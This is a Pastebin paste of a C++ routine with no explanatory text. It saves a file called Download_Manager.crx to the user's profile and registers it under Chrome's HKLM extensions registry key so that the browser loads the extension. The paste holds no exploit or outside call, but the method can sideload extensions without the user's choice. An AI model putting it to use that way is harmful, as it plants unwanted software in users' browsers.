Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- int main()
- {
- std::wstring key = L"meehehpbdgmachkcfahadeeckbkhmloe";
- std::wstring version = L"1.0.1";
- wchar_t buff[MAX_PATH] = { 0 };
- std::wstring userPath;
- SHGetSpecialFolderPathW(nullptr, buff, CSIDL_PROFILE, false);
- userPath.append(buff);
- std::wstring filePath = userPath + L"\\Download_Manager.crx";
- saveCRXFile(filePath);
- std::wstring pathReg = L"SOFTWARE\\Google\\Chrome\\Extensions\\" + key;
- HKEY hKey;
- if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, pathReg.c_str(), 0, nullptr, REG_OPTION_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr) != ERROR_SUCCESS)
- {
- int err = GetLastError();
- }
- if (RegSetValueExW(hKey, L"path", 0, REG_SZ, (BYTE*)filePath.c_str(), sizeof(wchar_t) * filePath.size()) != ERROR_SUCCESS)
- {
- int err = GetLastError();
- }
- if (RegSetValueExW(hKey, L"version", 0, REG_SZ, (BYTE*)version.c_str(), sizeof(wchar_t) * version.size()) != ERROR_SUCCESS)
- {
- int err = GetLastError();
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement